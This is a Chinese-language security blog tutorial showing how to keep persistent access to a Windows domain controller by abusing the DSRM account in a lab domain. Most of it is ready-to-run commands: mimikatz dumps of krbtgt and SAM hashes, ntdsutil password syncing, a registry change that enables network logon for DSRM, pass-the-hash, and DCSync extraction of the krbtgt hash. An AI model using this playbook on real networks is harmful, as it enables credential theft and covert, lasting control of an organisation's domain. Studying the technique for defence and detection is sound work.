作者: r0n1n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 前言
DSRM(Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项,但是只允许在控制台登陆,可以通过修改注册表的方式,来通过网络验证登陆到DC服务器上。
在每个域控制器都有一个本地管理员账户——也是DSRM账户,DSRM主要作用是使出现故障或崩溃的域环境恢复正常运行,修改DSRM密码的最基本方法是在DC上运行ntdsutil命令行工具。
此方法适用于Windows Server 2008及以上系统(2008需要安装补丁:KB961320)
0x01 本地测试
域名:god.com
域控服务器:Win-2008DC:10.10.10.30
域成员服务器:win-2008-1:10.10.10.10
1、使用mimikatz查看krbtgt账户的NTLM Hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
//krbtgt hash
953eb0591ac152c17edfa514021c47f6
2、获取本地管理员的NTLM Hash
privilege::debug
token::elevate
lsadump::sam
afffeba176210fad4628f0524bfe1942
3、DSRM账号与krbtgt的NTLM Hash同步
NTDSUTIL
set dsrm password
sync from domain account krbtgt
q
q
4、查看DSRM的NTLM是否同步
lsadump::sam
5、修改DSRM登录方式
在注册表中新建:
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior 项,值为2。
DSRM的三种登录方式:(推荐设置2的原因是在我设置1的时候出现error,因为没有重启ad,但是值为2是立即生效的,在Windows Server 2000以后的版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控器,需要将该值设置为2)
0:默认值,只有当域控器重启并进入DSRM模式时,才可以使用DSRM管理员账号;
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器;
2:在任何情况下都可以使用DSRM管理员账号登录域控器。
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 0 /f
//powershell
New-ItemProperty "HKLM\System\CurrentControlSet\Control\Lsa" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD
6、使用DSRM账号通过网络远程登录域控器
使用mimikatz进行哈希传递,在域成员机器的管理员模式打开mimikatz(NThash为krbtgt)
privilege::debug
sekurlsa::pth /domain:WIN-2008DC /user:Administrator /ntlm:953eb0591ac152c17edfa514021c47f6
/domain:域控的主机名
/user:本机管理员用户
/NTLM:krbtgt的hash
7、使用mimikatz远程转存储krbtgt的NTLM Hash
哈希传递完成后,会弹出一个命令行窗口,并在该窗口中打开mimikatz,输入如下命令:
privilege::debug
lsadump::dcsync /domain:god.com /dc:WIN-2008DC /user:krbtgt
/dimain 域名
/dc:域控主机名
0x03 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!